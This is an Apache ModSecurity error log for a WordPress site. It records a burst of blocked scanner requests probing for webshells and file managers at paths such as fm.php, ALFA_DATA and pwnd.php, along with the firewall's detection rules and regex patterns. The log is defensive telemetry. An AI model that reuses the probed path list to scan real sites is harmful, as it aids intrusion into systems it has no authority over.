[Thu Nov 20 21:42:46.555115 2025] [:error] [pid 40636:tid 40643] [client 185.223.152.212:50447] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-Owl.php"] [unique_id "aR8a1gK8BWUoW3xq0HAtEgAAA4M"]
[Thu Nov 20 21:42:47.203523 2025] [:error] [pid 40508:tid 40532] [client 185.223.152.209:27157] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/plugins/about.php"] [unique_id "aR8a16xXNVCMW_ksxPvghgAAApY"]
[Thu Nov 20 21:42:47.849649 2025] [:error] [pid 40415:tid 40440] [client 185.223.152.220:47005] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/click.php"] [unique_id "aR8a16hjIyLSv09svwPQ_AAAAdY"]
[Thu Nov 20 21:42:48.497960 2025] [:error] [pid 34405:tid 34407] [client 185.223.152.210:62611] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/cong.php"] [unique_id "aR8a2DFpvu8oRK7ATftBPgAAAQA"]
[Thu Nov 20 21:42:49.144826 2025] [:error] [pid 40415:tid 40418] [client 185.223.152.204:22527] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/"] [unique_id "aR8a2ahjIyLSv09svwPQ_QAAAcA"]
[Thu Nov 20 21:42:49.792822 2025] [:error] [pid 55340:tid 55359] [client 185.223.152.6:56357] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aR8a2fOxD-NeMydTybC_XQAAAA4"]
[Thu Nov 20 21:42:50.447732 2025] [:error] [pid 40508:tid 40512] [client 185.223.152.227:26235] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aR8a2qxXNVCMW_ksxPvgiAAAAoI"]
[Thu Nov 20 21:42:51.097072 2025] [:error] [pid 40508:tid 40524] [client 185.223.152.207:47085] [client 185.223.152.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ss.php"] [unique_id "aR8a26xXNVCMW_ksxPvgigAAAo4"]
[Thu Nov 20 21:42:51.745184 2025] [:error] [pid 40445:tid 40476] [client 185.223.152.209:21247] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aR8a21H-MuFcoWRjXpaYsAAAAkE"]
[Thu Nov 20 21:42:52.393344 2025] [:error] [pid 55343:tid 55421] [client 185.223.152.206:52045] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/cc.php"] [unique_id "aR8a3FWlO3EnyVMV7w7SMwAAAJY"]
[Thu Nov 20 21:42:53.041072 2025] [:error] [pid 55340:tid 55356] [client 185.223.152.224:58235] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aR8a3fOxD-NeMydTybC_XgAAAAs"]
[Thu Nov 20 21:42:53.688847 2025] [:error] [pid 40508:tid 40527] [client 185.223.152.206:25759] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aR8a3axXNVCMW_ksxPvgjAAAApE"]
[Thu Nov 20 21:42:54.339532 2025] [:error] [pid 55342:tid 55379] [client 185.223.152.216:36975] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wander.php"] [unique_id "aR8a3rg6x32Tvk7fIG8DnAAAAEc"]
[Thu Nov 20 21:42:54.991230 2025] [:error] [pid 40415:tid 40431] [client 185.223.152.205:31435] [client 185.223.152.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/version.php"] [unique_id "aR8a3qhjIyLSv09svwPRAAAAAc0"]
[Thu Nov 20 21:42:55.640589 2025] [:error] [pid 55430:tid 55448] [client 185.223.152.215:47331] [client 185.223.152.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "aR8a3_PZXaIMEU4pE7shUwAAAM8"]
[Thu Nov 20 21:42:56.287981 2025] [:error] [pid 55430:tid 55434] [client 185.223.152.223:64221] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/xx.php"] [unique_id "aR8a4PPZXaIMEU4pE7shVQAAAME"]
[Thu Nov 20 21:42:56.935645 2025] [:error] [pid 55430:tid 55440] [client 185.223.152.212:22767] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "aR8a4PPZXaIMEU4pE7shWAAAAMc"]
[Thu Nov 20 21:42:57.582000 2025] [:error] [pid 34405:tid 34408] [client 185.223.152.210:21109] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/product.php"] [unique_id "aR8a4TFpvu8oRK7ATftBQAAAAQE"]
[Thu Nov 20 21:42:58.242951 2025] [:error] [pid 34405:tid 34430] [client 185.223.152.217:37003] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/chosen.php"] [unique_id "aR8a4jFpvu8oRK7ATftBQQAAARc"]
[Thu Nov 20 21:42:58.894136 2025] [:error] [pid 40415:tid 40433] [client 185.223.152.223:58991] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/elp.php"] [unique_id "aR8a4qhjIyLSv09svwPRBgAAAc8"]
[Thu Nov 20 21:42:59.541311 2025] [:error] [pid 34405:tid 34410] [client 185.223.152.210:55361] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/yasnu.php"] [unique_id "aR8a4zFpvu8oRK7ATftBRAAAAQM"]
[Thu Nov 20 21:43:00.186731 2025] [:error] [pid 40537:tid 40557] [client 185.223.152.204:51373] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/"] [unique_id "aR8a5KKlsL5kxTa3c1wA4AAAAtA"]
[Thu Nov 20 21:43:00.834236 2025] [:error] [pid 55430:tid 55447] [client 185.223.152.212:20083] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/classwithtostring.php"] [unique_id "aR8a5PPZXaIMEU4pE7shWwAAAM4"]
[Thu Nov 20 21:43:01.482927 2025] [:error] [pid 55340:tid 55351] [client 185.223.152.217:64625] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "aR8a5fOxD-NeMydTybC_ZQAAAAY"]
[Thu Nov 20 21:43:02.129878 2025] [:error] [pid 40508:tid 40524] [client 185.223.152.222:65041] [client 185.223.152.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/pki-validation/index.php"] [unique_id "aR8a5qxXNVCMW_ksxPvglAAAAo4"]
[Thu Nov 20 21:43:02.780309 2025] [:error] [pid 55342:tid 55378] [client 185.223.152.219:28959] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aR8a5rg6x32Tvk7fIG8DpwAAAEY"]
[Thu Nov 20 21:43:03.433364 2025] [:error] [pid 40508:tid 40513] [client 185.223.152.226:37927] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/flower.php"] [unique_id "aR8a56xXNVCMW_ksxPvgmgAAAoM"]
[Thu Nov 20 21:43:04.080153 2025] [:error] [pid 40537:tid 40546] [client 185.223.152.5:36147] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/directionality/index.php"] [unique_id "aR8a6KKlsL5kxTa3c1wA5QAAAsU"]
[Thu Nov 20 21:43:04.727875 2025] [:error] [pid 55430:tid 55451] [client 185.223.152.206:22449] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aR8a6PPZXaIMEU4pE7shXgAAANI"]
[Thu Nov 20 21:43:05.386780 2025] [:error] [pid 55342:tid 55379] [client 185.223.152.221:22005] [client 185.223.152.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/wp.php"] [unique_id "aR8a6bg6x32Tvk7fIG8DrAAAAEc"]
[Thu Nov 20 21:43:06.033529 2025] [:error] [pid 40636:tid 40649] [client 185.223.152.210:36145] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/details/about.php"] [unique_id "aR8a6gK8BWUoW3xq0HAtGgAAA4k"]
[Thu Nov 20 21:43:06.832204 2025] [:error] [pid 55343:tid 55404] [client 185.223.152.223:56435] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aR8a6lWlO3EnyVMV7w7SOgAAAIU"]
[Thu Nov 20 21:43:07.479694 2025] [:error] [pid 40508:tid 40528] [client 185.223.152.218:33757] [client 185.223.152.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aR8a66xXNVCMW_ksxPvgqAAAApI"]
[Thu Nov 20 21:43:08.129657 2025] [:error] [pid 55343:tid 55409] [client 185.223.152.227:51759] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "aR8a7FWlO3EnyVMV7w7SOwAAAIo"]
[Thu Nov 20 21:43:08.778846 2025] [:error] [pid 55343:tid 55414] [client 185.223.152.225:37063] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ALFA_DATA/wp-admin.php"] [unique_id "aR8a7FWlO3EnyVMV7w7SPAAAAI8"]
[Thu Nov 20 21:43:09.429774 2025] [:error] [pid 40508:tid 40516] [client 185.223.152.217:27389] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/Contrller.php"] [unique_id "aR8a7axXNVCMW_ksxPvgqgAAAoY"]
[Thu Nov 20 21:43:10.076832 2025] [:error] [pid 34405:tid 34407] [client 185.223.152.219:56857] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/about-cong.php"] [unique_id "aR8a7jFpvu8oRK7ATftBSwAAAQA"]
[Thu Nov 20 21:43:10.743948 2025] [:error] [pid 34405:tid 34416] [client 185.223.152.8:34901] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/app/connect.php"] [unique_id "aR8a7jFpvu8oRK7ATftBTAAAAQk"]
[Thu Nov 20 21:43:11.394488 2025] [:error] [pid 40415:tid 40428] [client 185.223.152.214:54481] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/assets/images/selam.php"] [unique_id "aR8a76hjIyLSv09svwPRDwAAAco"]
[Thu Nov 20 21:43:12.041684 2025] [:error] [pid 40508:tid 40517] [client 185.223.152.5:30641] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/autoload_classmap.php"] [unique_id "aR8a8KxXNVCMW_ksxPvgsQAAAoc"]
[Thu Nov 20 21:43:12.688186 2025] [:error] [pid 34405:tid 34408] [client 185.223.152.208:50523] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/gfherhfghre/commentsos/vendoyters/index.php"] [unique_id "aR8a8DFpvu8oRK7ATftBTgAAAQE"]
[Thu Nov 20 21:43:13.337317 2025] [:error] [pid 40508:tid 40526] [client 185.223.152.6:61183] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/images/admin.php"] [unique_id "aR8a8axXNVCMW_ksxPvgswAAApA"]
[Thu Nov 20 21:43:13.983852 2025] [:error] [pid 40537:tid 40557] [client 185.223.152.209:46271] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "aR8a8aKlsL5kxTa3c1wA-AAAAtA"]
[Thu Nov 20 21:43:14.630373 2025] [:error] [pid 34405:tid 34430] [client 185.223.152.211:57807] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/images/chosen.php"] [unique_id "aR8a8jFpvu8oRK7ATftBTwAAARc"]
[Thu Nov 20 21:43:15.284703 2025] [:error] [pid 40508:tid 40516] [client 185.223.152.225:41153] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/let.php"] [unique_id "aR8a86xXNVCMW_ksxPvguwAAAoY"]
[Thu Nov 20 21:43:15.940124 2025] [:error] [pid 34405:tid 34410] [client 185.223.152.216:36467] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/miansha.php"] [unique_id "aR8a8zFpvu8oRK7ATftBUwAAAQM"]
[Thu Nov 20 21:43:16.654160 2025] [:error] [pid 55430:tid 55455] [client 185.223.152.219:21245] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/newuser.php"] [unique_id "aR8a9PPZXaIMEU4pE7shYgAAANY"]
[Thu Nov 20 21:43:17.300081 2025] [:error] [pid 40508:tid 40523] [client 185.223.152.209:22245] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/sama.php"] [unique_id "aR8a9axXNVCMW_ksxPvgvQAAAo0"]
[Thu Nov 20 21:43:17.945810 2025] [:error] [pid 55340:tid 55362] [client 185.223.152.214:52229] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/user.php"] [unique_id "aR8a9fOxD-NeMydTybC_aQAAABE"]
[Thu Nov 20 21:43:18.592753 2025] [:error] [pid 55342:tid 55374] [client 185.223.152.7:45689] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-active.php"] [unique_id "aR8a9rg6x32Tvk7fIG8DsgAAAEI"]
[Thu Nov 20 21:43:19.242866 2025] [:error] [pid 40508:tid 40522] [client 185.223.152.213:63297] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/about.php"] [unique_id "aR8a96xXNVCMW_ksxPvgvwAAAow"]
[Thu Nov 20 21:43:19.890939 2025] [:error] [pid 34405:tid 34416] [client 185.223.152.211:46713] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/fttri.php"] [unique_id "aR8a9zFpvu8oRK7ATftBWwAAAQk"]
